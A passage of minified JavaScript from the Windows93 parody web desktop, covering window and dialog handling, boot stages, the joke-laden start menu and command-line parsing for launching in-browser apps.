5691 menu: ee,
5692 changeSize: function(e, t) {
5693 e && (e.height || e.width) && (I.style.height = "auto", I.style.width = "auto", R.classList.remove("ui_window__body--flex"), e.height && (R.style.height = e.height + "px"), e.width && (R.style.width = e.width + "px"), y(), t && t())
5694 },
5695 active: function() {
5696 t.active(this.id)
5697 },
5698 changeTitle: function(e) {
5699 "string" == typeof e && (K && (K.innerHTML = e), me && (me.innerHTML = e, me.title = e))
5700 },
5701 changeIcon: function(e) {
5702 "string" == typeof e && (J && (J.src = e), ue && (ue.src = e))
5703 },
5704 changeFooter: function(e) {
5705 S.firstChild && (S.firstChild.innerHTML = e)
5706 }
5707 }, ee && ee.refresh($extend(B.menuThisArg || {}, {
5708 window: A
5709 })), B.onopen.call(A, I, R), B.activable && t.active(Z);
5710 var _e, we, be = $menu(R, $menu.extend([{
5711 name: "Maximize",
5712 disabled: !B.maximizable,
5713 action: function() {
5714 A.maximize()
5715 }
5716 }, {
5717 name: "Minimize",
5718 disabled: !B.minimizable,
5719 action: function() {
5720 A.minimize()
5721 }
5722 }, {
5723 name: "Move to center",
5724 disabled: !B.draggable,
5725 action: function() {
5726 q = B.dest.offsetWidth, D = B.dest.offsetHeight, I.style.top = ~~((D - I.offsetHeight) / 2) + "px", I.style.left = ~~((q - I.offsetWidth) / 2) + "px"
5727 }
5728 }, {
5729 name: "Refresh",
5730 disabled: !((!B.url || B.ajax) && "function" == typeof B.reload),
5731 action: function() {
5732 "function" == typeof this.cfg.reload ? this.cfg.reload() : this.el.iframe && (this.el.iframe.src = "", this.el.iframe.src = this.cfg.url)
5733 }
5734 }, {
5735 name: "---"
5736 }, {
5737 name: "Close",
5738 disabled: !B.closable,
5739 action: function() {
5740 A.close()
5741 }
5742 }], B.contextmenu), {
5743 trigger: !1,
5744 thisArg: A
5745 }),
5746 ve = document.createElement("div");
5747 return ve.className = "ui_window_transfer", document.body.appendChild(ve), A
5748}
5749
5750function i(e) {
5751 e.getElementsByTagName("iframe").length && e.getElementsByTagName("section")[0].appendChild(y.cloneNode(!1))
5752}
5753
5754function n(e) {
5755 var t = e.querySelector(".js-mask");
5756 t && t.parentNode && t.parentNode.removeChild(t)
5757}
5758
5759function o() {
5760 $io.arr.all(document.querySelectorAll(".ui_window--active"), function(e) {
5761 e.classList.remove("ui_window--active"), i(e)
5762 }), $io.arr.all(document.querySelectorAll(".ui_window_docked.pressed"), function(e) {
5763 e.classList.remove("pressed")
5764 })
5765}
5766
5767function a(e, t) {
5768 var i = t && 1 == t.nodeType ? t.getAttribute("data-window-id") : t,
5769 n = s[1 * i];
5770 n && n[e]()
5771}
5772var l = {
5773 title: "",
5774 html: "",
5775 help: "",
5776 url: null,
5777 menu: null,
5778 header: !0,
5779 footer: null,
5780 width: 390,
5781 height: 270,
5782 borderTopWidth: 1,
5783 borderBottomWidth: 1,
5784 borderLeftWidth: 1,
5785 borderRightWidth: 1,
5786 baseWidth: null,
5787 baseHeight: null,
5788 minWidth: null,
5789 minHeight: null,
5790 top: null,
5791 left: null,
5792 center: !1,
5793 noOut: !1,
5794 constrain: !1,
5795 ajax: !1,
5796 automaximize: !1,
5797 contextmenuOnBody: !1,
5798 resizable: !0,
5799 minimizable: !0,
5800 maximizable: !0,
5801 closable: !0,
5802 draggable: !0,
5803 dockable: !0,
5804 activable: !0,
5805 headerBtn: [],
5806 onopen: $noop,
5807 onready: $noop,
5808 onclose: $noop,
5809 onok: $noop,
5810 oncancel: $noop,
5811 onminimize: $noop,
5812 ondrag: $noop,
5813 ondragstop: $noop,
5814 onresize: $noop,
5815 onactive: $noop,
5816 ondestroy: $noop,
5817 animationIn: "",
5818 animationOut: "",
5819 baseClass: "",
5820 bodyClass: "",
5821 style: "",
5822 dest: document.body,
5823 dock: null
5824 },
5825 d = 0,
5826 s = [],
5827 c = document.createElement("div"),
5828 r = document.createElement("header"),
5829 u = document.createElement("header"),
5830 m = document.createElement("section"),
5831 f = document.createElement("footer"),
5832 h = document.createElement("iframe"),
5833 p = document.createElement("img"),
5834 _ = document.createElement("span"),
5835 w = document.createElement("button"),
5836 b = document.createElement("button"),
5837 v = document.createElement("button");
5838c.setAttribute("role", "dialog"), c.className = "ui_window ui_window--active", r.className = "ui_window__head", p.className = "ui_window__head__icon", _.className = "ui_window__head__title ui_elipsis", w.className = "ui_window__head__minimize", b.className = "ui_window__head__maximize", v.className = "ui_window__head__close", u.className = "ui_window__menu", m.className = "ui_window__body", f.className = "ui_window__foot", h.className = "ui_window__iframe", h.setAttribute("allowfullscreen", "true");
5839var y = document.createElement("div");
5840y.className = "js-mask", y.setAttribute("style", "background-image:url(/c/sys/img/spacer.gif); position: absolute; z-index: 2; left: 0; top: 0; right: 0; bottom: 0;"), t.config = function(e) {
5841 $extend(l, e)
5842}, t.instances = s, t.active = function(e) {
5843 var i = document.getElementById("ui_window_" + e);
5844 i.style.zIndex = $maxZ("#ui_explorer_0 .ui_icon:not(.ui_is_dragging),.ui_window,.ui_z_indexed").num + 1, o(), i.classList.add("ui_window--active"), n(i);
5845 var a = document.getElementById("ui_window_docked_" + e);
5846 a && a.classList.add("pressed"), t.current = s[e], setTimeout(function() {
5847 s[e] && "function" == typeof s[e].cfg.onactive && s[e].cfg.onactive.call(s[e], s[e].el.base, s[e].el.body)
5848 }, 1)
5849}, t.close = function(e) {
5850 a("close", e)
5851}, t.destroy = function(e) {
5852 a("destroy", e)
5853}, t.maximize = function(e) {
5854 a("maximize", e)
5855}, t.restore = function(e) {
5856 a("restore", e)
5857}, e.$window = t
5858}(this);
5859//js/ui/window.plugins.js
5860! function(e) {
5861"use strict";
5862
5863function n(e, n) {
5864 var i = $extend({
5865 title: "Alert",
5866 baseClass: "ui_alert",
5867 msg: e,
5868 img: "/c/sys/skins/w93/alert.png",
5869 cb: n,
5870 sound: "alert",
5871 onopen: function() {
5872 this.cfg.sound && o.sound(this.cfg.sound);
5873 var e = m || this.el.btnOk;
5874 e && setTimeout(function() {
5875 e.focus()
5876 }, 100)
5877 },
5878 onactive: function() {
5879 var e = m || this.el.btnOk;
5880 e && setTimeout(function() {
5881 e.focus()
5882 }, 100)
5883 },
5884 onclose: function(t) {
5885 (n || e.cb || $noop)(t)
5886 }
5887 }, e),
5888 r = i.baseClass.split(" ")[0];
5889 if ("string" != typeof i.msg) try {
5890 i.msg = JSON.stringify(i.msg, null, 2), i.bodyClass = t.bodyClass + " " + r + "--code"
5891 } catch (e) {
5892 i.msg = i.msg + "", i.bodyClass = t.bodyClass + " " + r + "--code " + r + "--center"
5893 }
5894 var s = document.createElement("div"),
5895 l = document.createElement("div");
5896 document.createDocumentFragment();
5897 if (s.className = "clearfix", i.img) {
5898 var a = new Image;
5899 a.className = r + "__img", a.width = 32, a.height = 32, s.appendChild(a)
5900 }
5901 if (l.innerHTML = i.msg, l.className = r + "__text", s.appendChild(l), "string" == typeof i.prompt) {
5902 var c = document.createElement("form"),
5903 m = document.createElement("textarea");
5904 m.style.width = "100%", m.value = i.prompt, m.name = "prompt", m.onkeydown = function(e) {
5905 if ("number" != typeof(e = e || window.event).which && (e.which = e.keyCode), 13 === e.which && !e.shiftKey) return $el(c).trigger("submit"), e.preventDefault ? e.preventDefault() : e.returnValue = !1, e.stopPropagation ? e.stopPropagation() : e.cancelBubble = !0, e.stopImmediatePropagation(), !1
5906 }, c.appendChild(m), l.appendChild(c), l.style.textAlign = "left"
5907 }
5908 i.html = s;
5909 var d = null;
5910 if (!i.img) return $window($extend({}, t, i));
5911 var u = !1;
5912 d = function() {
5913 u || $window($extend({}, t, i)), u = !0
5914 }, a.onload = d, a.onerror = d, a.onabort = d, a.src = i.img
5915}
5916var t = {
5917 baseClass: "ui_alert",
5918 height: "auto",
5919 minHeight: "auto",
5920 footer: "",
5921 minimizable: !1,
5922 maximizable: !1,
5923 resizable: !1,
5924 center: !0,
5925 pinnable: !1,
5926 btnOk: "OK",
5927 animationIn: "none",
5928 animationOut: "random",
5929 width: 330
5930 },
5931 o = {
5932 sound: $noop
5933 };
5934n.error = $io.fn.leading(function(e, t) {
5935 console.error(e);
5936 var o = $error(e),
5937 i = {
5938 bodyClass: "js_error",
5939 title: o.name || "Error",
5940 msg: o.html
5941 };
5942 n($extend({
5943 title: "Error",
5944 msg: i,
5945 img: "/c/sys/skins/w93/error.png",
5946 cb: t,
5947 sound: "error"
5948 }, i))
5949}, 1e3), n.info = function(e, t) {
5950 n($extend({
5951 title: "Info",
5952 msg: e,
5953 img: t || "/c/sys/skins/w93/info.png",
5954 onopen: $noop,
5955 sound: null
5956 }, e))
5957}, n.progress = function(e, n) {
5958 var o = document.createElement("div"),
5959 i = document.createElement("div");
5960 i.className = "ui_progress__bar", o.className = "skin_inset_deep h20p mt5 relative ui_progress";
5961 var r = document.createElement("div"),
5962 s = document.createElement("div");
5963 r.textContent = e, o.appendChild(i), s.appendChild(r), s.appendChild(o), n = n || "Progress";
5964 var l = $window($extend({}, t, {
5965 title: n,
5966 html: s,
5967 btnOk: null
5968 }, e));
5969 return {
5970 update: function(e) {
5971 e = ~~e, l.changeTitle(e + "% - " + n), i.style.width = e + "%", e >= 100 && l.close()
5972 }
5973 }
5974}, n.help = function(e, n) {
5975 $window($extend({}, t, {
5976 title: "Help",
5977 html: e,
5978 bodyClass: "ui_alert--help skin_inset_deep skin_light pa10",
5979 sound: null
5980 }, e))
5981}, $window.form = function(e, n, o) {
5982 "string" != typeof e && (o = n, n = e, e = "Form");
5983 var i = $form.build(n);
5984 $window.call(this, $extend({}, t, {
5985 resizable: !0,
5986 title: e,
5987 html: i.el,
5988 btnOk: "OK",
5989 btnCancel: "Cancel",
5990 onsubmit: function(e, n, t) {
5991 console.log("???", n);
5992 var i = $form.validate(t);
5993 if (!i) return console.log(i), !1;
5994 (o || $noop)(e, n)
5995 }
5996 }))
5997};
5998var i = function(e, t) {
5999 n($extend({
6000 title: "Confirm",
6001 msg: e,
6002 img: "/c/sys/skins/w93/question.png",
6003 onopen: $noop,
6004 sound: null,
6005 cb: t,
6006 btnCancel: "Cancel"
6007 }, e))
6008 },
6009 r = function(e, t, o) {
6010 "function" == typeof t && (o = t, t = ""), n($extend({
6011 title: "Prompt",
6012 msg: e,
6013 img: null,
6014 sound: null,
6015 cb: o,
6016 prompt: t,
6017 onclose: function(n, t) {
6018 var i = t.prompt;
6019 (o || e.cb || $noop)(n, i)
6020 },
6021 btnCancel: "Cancel"
6022 }, e))
6023 };
6024n.config = function(e) {
6025 $extend(o, e)
6026}, e.$alert = n, e.$confirm = i, e.$prompt = r
6027}(this);
6028//os/boot/system42.js
6029var system42 = $kernel;
6030//os/boot/boot.js
6031system42("boot", function(s, t) {
6032"use strict";
6033$loader([s._temp.files, s._temp.mimetypes, s._settings.sounds.boot, s._settings.sounds.alert, s._settings.sounds.error], function(e, o, n, i, r) {
6034 s._files = e, s._get.mime.ext = o, s._sound.boot = n, s._sound.alert = i, s._sound.error = r, t()
6035})
6036});
6037//os/boot/bios.js
6038system42("bios", function(o) {
6039"use strict";
6040$boot.BOOTLOG.innerHTML += "\nWindows93 v" + $boot.VERSION + " booting on...", $boot.BOOTLOG.innerHTML += "\n" + platform.description, $boot.BOOTLOG.innerHTML += "\n"
6041});
6042//os/boot/settings.js
6043system42("settings", function(t) {
6044"use strict";
6045var s = Object.assign({}, t._settings);
6046t._settings = $store("settings.json", t._settings, function(s) {
6047 t._settings = s
6048}, function() {
6049 return t._settings
6050}), "string" == typeof t._settings ? t._settings = s : t._settings = Object.assign(s, t._settings), t._init.home = function() {
6051 t._path.home = "/a/", t._path.key.home = "", t._path.desktop = "/a/desktop/", t._path.key.desktop = "desktop/", t._path.skin = "/c/sys/skins/" + t._settings.skin + "/"
6052}, t._init.home()
6053});
6054//os/boot/storage.js
6055system42("storage", function(e, t) {
6056"use strict";
6057
6058function n(t, n) {
6059 s[t.name] = {};
6060 var o = $extend({}, t);
6061 o.col > -1 && (s[t.name].x = o.col * e._icons.w, delete o.col), o.row > -1 && (s[t.name].y = o.row * e._icons.h, delete o.row), s[t.name].time = i + n, delete o.name, $store.set(e._path.key.desktop + t.name, o)
6062}
6063
6064function o() {
6065 $file.scan("/a/", function() {
6066 t()
6067 })
6068}
6069var s = {},
6070 i = Date.now();
6071e._init.desktop = function() {
6072 $io.arr.each(e._temp.defaultDesk, n)
6073}, $store.set("system32.dll", "796f 2c20 706c 6561 7365 2064\n6f6e 2774 2064 656c 6574 6520\n6d65"), e._init.desktop(), e._desktop = $store(e._path.key.home + ".config/desktop.json", s, function(t) {
6074 e._desktop = t
6075}, function() {
6076 return e._desktop
6077}), !1 === e._settings.userData.localInit ? $io.enum([$io.obj.flatten(e._files.a, "/")], function(e, t, n) {
6078 if ("number" == typeof e) {
6079 var o = $fs.utils.isShortcut(t);
6080 $ajax.get("a_/" + t, {
6081 arraybuffer: !o
6082 }).done(function(e) {
6083 o ? ($store.set(t, e), n()) : $io.ArrayBuffer.Blob(e, function(e) {
6084 $db.set(t, e, n)
6085 }, $fs.utils.getMime(t))
6086 }).fail(function(e) {
6087 $boot.onerror(e), n()
6088 })
6089 } else $db.set(t + "/", null, n)
6090}, function() {
6091 o()
6092}) : o()
6093});
6094//os/boot/reset.js
6095system42("reset", function(e, t) {
6096"use strict";
6097$store.clear(), $db.clear(function() {
6098 t()
6099})
6100});
6101//os/boot/audio.js
6102system42("audio", function(n) {
6103"use strict";
6104
6105function o(o, s) {
6106 var i;
6107 return "string" != typeof o ? new Howl(o) : (n._settings.sounds[o] && (o = n._settings.sounds[o]), t[o] ? i = t[o] : (i = new Howl({
6108 buffer: !!s,
6109 urls: [o]
6110 }), t[o] = i), i)
6111}
6112window.Howl = window.Howl || function() {
6113 this.play = $noop, this.pause = $noop
6114};
6115var t = {};
6116o.config = function(n) {
6117 return new Howl(n)
6118}, o.stream = function(n) {
6119 return o(n, !0)
6120}, window.$audio = o
6121});
6122//os/boot/splash.js
6123system42("splash", function(e, s) {
6124"use strict";
6125var i;
6126$explorer(e._path.desktop, e._dom.desktop, {
6127 silent: !0,
6128 backgroundClass: "",
6129 viewType: "workspace"
6130});
6131e.devmode || $el.each(".ui_icon", function(e) {
6132 e.classList.add("hide")
6133}), e.started ? s() : (i = document.createElement("iframe"), e._dom.splash.appendChild(i), i.className = "fillspace", i.style.position = "fixed", i.style.visibility = "hidden", i.onload = function() {
6134 i.style.visibility = "visible", setTimeout(function() {
6135 s()
6136 }, 2500)
6137}, i.src = e._temp.splash)
6138});
6139//os/boot/utils.js
6140system42("utils", function(t) {
6141"use strict";
6142var i = {};
6143$io.obj.each(t._get.mime.ext, function(t, e) {
6144 $io.obj.each(t, function(t, n) {
6145 $io.arr.all(t[0].split(","), function(t) {
6146 i[t] = e + "/" + n
6147 })
6148 })
6149}), t._get.ext.mime = i, $io.obj.each(t._apps, function(i, e) {
6150 if ("string" != typeof i) {
6151 if (i.accept && $extend(i, $fs.utils.parseAccept(i.accept)), i.ext && $io.arr.all(i.ext, function(i) {
6152 t._get.ext.apps[i] ? t._get.ext.apps[i].push(e) : t._get.ext.apps[i] = [e]
6153 }), i.mimetype && t._get.mime.apps.push([i.mimetype, e]), i.icon && (i.icon = $fs.utils.normalizeIcon(i.icon)), i.install && system42.on("storage:ready", function(t) {
6154 i.install = i.install.replace(/^~\//, "/a/" + t._path.key.home), $io.obj.path.call("/", t._files, i.install, {
6155 exe: e,
6156 icon: i.icon
6157 })
6158 }), i.init && system42.on("config:ready", function(t) {
6159 i.init.call({
6160 le: t,
6161 app: i
6162 })
6163 }), i.exec) {
6164 var n = i.exec,
6165 a = $io.fn.arg(n);
6166 i.exec = function() {
6167 var t = i.icon;
6168 this.arg.options && this.arg.options.icon && (t = this.arg.options.icon = $fs.utils.normalizeIcon(this.arg.options.icon || this.arg.launcher.icon)), this.app = i, this.that.window || (this.that.window = {}), this.that.window.icon || (this.that.window.icon = t), this.that.window.title || (this.that.window.title = this.arg.launcher ? this.arg.launcher.title : i.name), this.that.window.title || delete this.that.window.title;
6169 var e = this.arg.arguments.concat([this.arg.options]);
6170 "arguments" === i.inject ? e = this.arg.arguments : $io.arr.each(a, function(t, i) {
6171 "url" === t && "string" != typeof e[i] && (e[i] = ""), "opt" === t && "object" != typeof e[i] && (e[i] = {})
6172 });
6173 var o;
6174 try {
6175 o = n.apply(this, e), o = void 0 === o ? 1 : o
6176 } catch (t) {
6177 $alert.error(t), o = 0
6178 }
6179 return o
6180 }
6181 }
6182 } else t._apps[e] = {
6183 alias: i,
6184 exec: function() {
6185 for (var t = [], e = 0, n = arguments.length; e < n; e++) "string" == typeof arguments[e] && t.push(arguments[e]);
6186 $exe.silent(i + " " + t.join(" "))
6187 }
6188 }
6189})
6190});
6191//os/boot/config.js
6192system42("config", function(e) {
6193"use strict";
6194var t, n = document.createElement("style");
6195document.head.appendChild(n), t = n.sheet;
6196var i = [];
6197$io.arr.all(document.styleSheets, function(e) {
6198 /sys42/.test(e.href) && $io.arr.all(e.rules || e.cssRules, function(e) {
6199 e.selectorText && /^\.fx_\w+/.test(e.selectorText) && i.push(e.selectorText.replace(".fx_", ""))
6200 })
6201}), $el.each("filter", function(e) {
6202 i.push(e.id.replace("fx_", "")), t.insertRule("." + e.id + ' {-webkit-filter: url("#' + e.id + '");}', 0), t.insertRule("." + e.id + ' {filter: url("#' + e.id + '");}', 0)
6203}), e._fx = i.sort(), $window.config({
6204 dest: e._dom.desktop,
6205 dock: document.getElementById("s42_dock"),
6206 ondestroy: function(t) {
6207 !t && e._selected.length && e._selected[0].focus()
6208 },
6209 animationIn: e.devmode ? "" : "random",
6210 animationOut: e.devmode ? "" : "random",
6211 contextmenu: {
6212 "before:Close": [{
6213 name: "Glitch",
6214 action: function() {
6215 $exe.call({
6216 silent: !0
6217 }, "glitch", this.el.base)
6218 }
6219 }, {
6220 name: "IE6",
6221 action: function() {
6222 $exe.call({
6223 silent: !0
6224 }, "ie6", this.el.base)
6225 }
6226 }, {
6227 name: "---"
6228 }, {
6229 name: "FX",
6230 items: function() {
6231 var t = this,
6232 n = [];
6233 return $io.arr.all(["none"].concat(e._apps.fx.effects), function(e) {
6234 t.fx || (t.fx = "none"), n.push({
6235 name: e,
6236 radio: "FX_list",
6237 selected: t.fx === e,
6238 action: function(n) {
6239 t.fx = e, t.el.base.className = t.el.base.className.replace(/fx_\w+/, ""), "none" !== e && $exe.call({
6240 silent: !0
6241 }, "fx", e, t.el.base)
6242 }
6243 })
6244 }), n
6245 }
6246 }, {
6247 name: "---"
6248 }]
6249 },
6250 headerBtn: [{
6251 name: "help",
6252 init: function() {
6253 return !!this.help
6254 },
6255 action: function() {
6256 $alert.info(this.cfg.help)
6257 }
6258 }, {
6259 name: "pin",
6260 title: "pin this window (it will reopen each time you boot windows93)",
6261 init: function() {},
6262 action: function(t) {
6263 var n = t.target;
6264 if (this.cfg.caller.that.pinned) delete e._pins[this.cfg.caller.that.pinned], this.cfg.caller.that.pinned = null, n.classList.remove("pressed");
6265 else {
6266 var i = this.el.body.offsetWidth,
6267 s = this.el.body.offsetHeight,
6268 o = this.el.base.offsetTop,
6269 l = this.el.base.offsetLeft;
6270 e._pins.push([this.cfg.caller.arg.command, {
6271 width: i,
6272 height: s,
6273 top: o,
6274 left: l
6275 }]), $route(""), n.classList.add("pressed")
6276 }
6277 }
6278 }]
6279}), $screenshot.config({
6280 default: e._dom.screen
6281}), $notif.config({
6282 default: e._dom.clock,
6283 dest: e._dom.desktop
6284}), $alert.config({
6285 sound: function(t) {
6286 t && e._sound[t] && e._sound[t].play()
6287 }
6288})
6289});
6290//os/boot/start.js
6291system42("start", function(n) {
6292"use strict";
6293
6294function s(t, e) {
6295 var i = [],
6296 o = [];
6297 for (var c in t)
6298 if (t.hasOwnProperty(c) && "." !== c && ".." !== c)
6299 if ("number" == typeof t[c]) {
6300 var r = $fs.utils.getInfo(c),
6301 u = $fs.utils.getOpeners(c);
6302 i.push({
6303 name: c,
6304 icon: r.icon,
6305 action: function(n, s, t) {
6306 return function() {
6307 $exe(t[0] + " " + e + n)
6308 }
6309 }(c, 0, u)
6310 })
6311 } else($io.is.obj(t[c]) || $io.is.arr(t[c])) && o.push({
6312 name: c,
6313 icon: "/c/sys/skins/" + n._settings.skin + "/places/16/folder.png",
6314 items: function(n, t) {
6315 return function() {
6316 return s(n, t)
6317 }
6318 }(t[c], e + c + "/")
6319 });
6320 return o.sort().concat(i.sort())
6321}
6322
6323function t(s) {
6324 var t = [],
6325 e = [],
6326 i = Object.keys(s);
6327 return $io.arr.all(i.sort(), function(i) {
6328 if (s[i] && s[i].exec) {
6329 var o = s[i].name ? i + ' <em class="startmenu_cmd">(' + s[i].name + ")</em>" : i,
6330 c = s[i].icon || "/c/sys/skins/" + n._settings.skin + "/programs.png";
6331 0 !== c.indexOf("/") && (c = "/c/sys/skins/" + n._settings.skin + "/" + c), (s[i].cmd ? t : e).push({
6332 name: o,
6333 icon: c,
6334 action: function(n) {
6335 return function() {
6336 $exe(n)
6337 }
6338 }(i)
6339 })
6340 }
6341 }), e
6342}
6343var e = {
6344 find: function() {
6345 $alert("<b>Did you know ?</b><br>You can use Find to locate your real father.<br>But I will save you the trouble.<br><b>Windows 93 is your real father.</b>")
6346 },
6347 help: function() {
6348 $exe("clippy")
6349 },
6350 run: function() {
6351 $alert.error("There is nowhere you can run")
6352 },
6353 reboot: function() {
6354 $exe("reboot")
6355 },
6356 settings: function() {
6357 $window({
6358 title: "Settings",
6359 html: $form.build(n._settings).el,
6360 width: 400,
6361 btnOk: "OK",
6362 btnCancel: "Cancel",
6363 onclose: function(n, s) {}
6364 })
6365 },
6366 format: function() {
6367 $exe("format")
6368 },
6369 fullscreen: function() {
6370 $fullscreen()
6371 },
6372 shutdown: function() {
6373 $exe("shutdown")
6374 }
6375 },
6376 i = [{
6377 name: "Programs",
6378 icon: "/c/sys/skins/" + n._settings.skin + "/programs.png",
6379 items: function() {
6380 return t(n._apps)
6381 }
6382 }, {
6383 name: "Documents",
6384 icon: "/c/sys/skins/" + n._settings.skin + "/documents.png",
6385 items: function() {
6386 return s(n._files.c, "c/")
6387 }
6388 }, {
6389 name: "Fullscreen",
6390 icon: "/c/sys/skins/" + n._settings.skin + "/shutdown.png",
6391 action: e.fullscreen
6392 }, {
6393 name: "Find",
6394 icon: "/c/sys/skins/" + n._settings.skin + "/find.png",
6395 action: e.find
6396 }, {
6397 name: "Help",
6398 icon: "/c/sys/skins/" + n._settings.skin + "/help.png",
6399 action: e.help
6400 }, {
6401 name: "Run...",
6402 icon: "/c/sys/skins/" + n._settings.skin + "/run.png",
6403 action: e.run
6404 }, {
6405 name: "---"
6406 }, {
6407 name: "Reinstall",
6408 icon: "/c/sys/skins/" + n._settings.skin + "/install.png",
6409 action: e.format
6410 }, {
6411 name: "---"
6412 }, {
6413 name: "Reboot...",
6414 icon: "/c/sys/skins/" + n._settings.skin + "/shutdown.png",
6415 action: e.reboot
6416 }, {
6417 name: "Shutdown",
6418 icon: "/c/sys/skins/" + n._settings.skin + "/shutdown.png",
6419 action: e.shutdown
6420 }];
6421$menu(document.getElementById("s42_start"), i, {
6422 mode: "popup",
6423 position: {
6424 within: n._dom.desktop
6425 }
6426 }),
6427 function() {
6428 var s, t = n._dom.clock;
6429 t && function n() {
6430 var e = new Date,
6431 i = e.getHours(),
6432 o = e.getMinutes();
6433 s !== (i = (i < 10 ? "0" : "") + i) + ":" + (o = (o < 10 ? "0" : "") + o) && (s = i + ":" + o, t.textContent = s, t.title = e), setTimeout(n, 1e4)
6434 }()
6435 }()
6436});
6437//os/boot/register.js
6438system42("register", function(e, t) {
6439"use strict";
6440
6441function s() {
6442 e._dom.splash.classList.remove("hide"), e._init.home(), t()
6443}
6444if (!1 === e._settings.userData.localInit) {
6445 e._dom.splash.classList.add("hide");
6446 var i = function() {
6447 var t = document.getElementById("WELCOME"),
6448 i = document.getElementById("TERMS"),
6449 n = document.getElementById("PROMPT"),
6450 a = document.getElementById("USERNAME");
6451 document.getElementById("SERIAL");
6452 if (i.classList.contains("hide") && n.classList.contains("hide")) t.classList.add("hide"), i.classList.remove("hide"), this.el.btnOk.innerHTML = "Didn't Read Lol ^^";
6453 else {
6454 if (!n.classList.contains("hide")) return e._settings.userData.nick = a.value || "anonymous", e._settings.userData.localInit = !0, s(), !0;
6455 i.classList.add("hide"), n.classList.remove("hide"), this.el.btnOk.innerHTML = "Let's ROCK"
6456 }
6457 return !1
6458 };
6459 $window({
6460 url: "/wizard.php",
6461 ajax: !0,
6462 title: "Setup Wizard",
6463 btnCancel: "Nope",
6464 animationIn: "flip",
6465 animationOut: "",
6466 center: !0,
6467 height: 350,
6468 width: 510,
6469 btnOk: "Cool Story, Bro",
6470 onok: i,
6471 oncancel: i
6472 })
6473} else s()
6474});
6475//os/boot/reveal.js
6476system42("reveal", function(e, o) {
6477"use strict";
6478e._settings.userData.localInit = !0, e.devmode || e._sound.boot.play(), setTimeout(function() {
6479 e._dom.splash.parentNode.removeChild(e._dom.splash), e._dom.taskbar.classList.remove("hide"), e._dom.desktop.classList.remove("invisible"), e.devmode || setTimeout(function() {
6480 $el.each(".ui_icon", function(e) {
6481 setTimeout(function() {
6482 e.classList.remove("hide")
6483 }, Math.abs(1e3 * Math.random()) + 100)
6484 })
6485 }, 100), $el(e._dom.desktop).on("click", ".js_error a", function(e) {
6486 return e.target.href && $exe("code", e.target.href), !1
6487 }), $el(e._dom.screen).on("drag dragenter dragover dragleave drop", function(e) {
6488 e.preventDefault()
6489 }), $route.on("change", function(e) {
6490 $exe(e)
6491 }), $route.init(), document.documentElement.focus(), window.onerror = function() {
6492 $alert.error(arguments)
6493 }, o()
6494}, e.devmode ? 0 : 600)
6495});
6496//os/sys/exe.js
6497system42("exe", function(t) {
6498"use strict";
6499
6500function e(t) {
6501 var e = $url.getDomain(t.url);
6502 if (e && location.hostname != e) return $window(t), !0;
6503 if ("/" === t.url.slice(-1)) return $explorer(t.url), !0;
6504 if (t.url) {
6505 var r;
6506 if (t.openers) r = l[t.openers.split(",")[0]];
6507 else {
6508 var o = $fs.utils.getOpeners(t.url);
6509 o[0] && (r = l[o[0]])
6510 }
6511 if (r && r.exec) return i.call(this, r, {
6512 command: t.url,
6513 arguments: [t.url],
6514 options: t
6515 }), !0
6516 }
6517 return !1
6518}
6519
6520function i(e, i) {
6521 var o = this || {},
6522 n = o && o.cli;
6523 return !0 !== e.terminal || n ? e.exec.apply({
6524 le: t,
6525 that: o,
6526 cli: n ? o : null,
6527 arg: i
6528 }) : r.call(this, "terminal", "", {
6529 onopen: function(r) {
6530 setTimeout(function() {
6531 e.exec.apply({
6532 le: t,
6533 that: o,
6534 cli: r,
6535 arg: i
6536 })
6537 }, 100)
6538 }
6539 }), !0
6540}
6541
6542function r(t, n, s) {
6543 if (t && "string" == typeof t && -1 != t.indexOf(" | ")) {
6544 var u = this,
6545 c = t.split(" | ");
6546 return u.silent || ($route(t), u.slient = !0), $io.arr.each(c, function(t, e) {
6547 setTimeout(function() {
6548 r.call(u, t)
6549 }, 700 * e)
6550 }), !0
6551 }
6552 if (t)
6553 if (t.nodeType && 1 === t.nodeType) {
6554 var p = $extend({}, t.dataset);
6555 if (p.exe) return r(p.exe, n, p);
6556 if (p.alert) return $alert(p.alert), !0;
6557 if (p.error) return $alert.error(p.error), !0
6558 } else {
6559 if (l[t] && l[t].exec) {
6560 var f = i.call(this, l[t], {
6561 command: t,
6562 arguments: Array.prototype.slice.call(arguments, 1)
6563 });
6564 return !1 !== f && !0 !== l[t].silent && $route(t), f
6565 }
6566 if ("string" == typeof t) {
6567 if (0 === t.indexOf("http")) return s && void 0 !== s.iframable ? a(t, s) : r.parseURL(t, function(t) {
6568 a(t.exe, t)
6569 }), !0;
6570 var d;
6571 try {
6572 d = o(t)
6573 } catch (t) {}
6574 if (d && d.program && l[d.program] && l[d.program].exec) return s && (d.launcher = s), i.call(this, l[d.program], d);
6575 try {
6576 0 !== t.indexOf("/") && this && this.cfg && this.cfg.cwd && (t = this.cfg.cwd + "/" + t);
6577 var h = $fs.utils.exist(t);
6578 if (!1 !== h) return "object" == typeof h.obj && "/" !== t.slice(-1) && (t += "/"), e.call(this, {
6579 url: t
6580 })
6581 } catch (t) {}
6582 }
6583 }
6584 return !1
6585}
6586
6587function o(t) {
6588 for (var e, i = [], r = [], o = {
6589 long: {},
6590 short: {}
6591 }, n = !1, a = !1, s = !1, u = 0, c = 0, p = 0, f = t.length; p <= f; p++)
6592 if (e = t.charAt(p), n || "-" !== e || !a && " " !== t.charAt(p - 1))
6593 if ('"' !== e || "\\" === t.charAt(p - 1))
6594 if (!n && " " === e || p === f)
6595 if (a) {
6596 var d = r[u].split("="),
6597 h = d[0],
6598 m = d[1],
6599 g = 1 * m;
6600 if (m = g == m ? g : m, s) h.indexOf(".") > -1 ? $io.obj.path(o.long, h, m || !0) : o.long[h] = m || !0;
6601 else
6602 for (var y = h.split(""), w = 0, b = y.length; w < b; w++) o.short[y[w]] = m || !0;
6603 u++, s = !1, a = !1
6604 } else c++;
6605 else a ? r[u] = r[u] ? r[u] + e : e : i[c] = i[c] ? i[c] + e : e;
6606 else n = !n;
6607 else "-" === t.charAt(p + 1) && (s = !0), a = !0;
6608 var v = i.shift();
6609 return !(!l[v] || !l[v].exec) && ($io.obj.each(o.short, function(t, e) {
6610 l[v].options && l[v].options[e] ? o.long[l[v].options[e][0]] = t : o.long[e] = t
6611 }), {
6612 command: t,
6613 program: v,
6614 arguments: i,
6615 options: o.long
6616 })
6617}
6618
6619function n(t) {
6620 function e(t) {
6621 return (t + "").indexOf(" ") > -1 ? '"' + t + '"' : t
6622 }
6623 if ("string" == typeof t) return " " + e(t);
6624 var i = "";
6625 return $io.obj.each(t, function(t, r) {
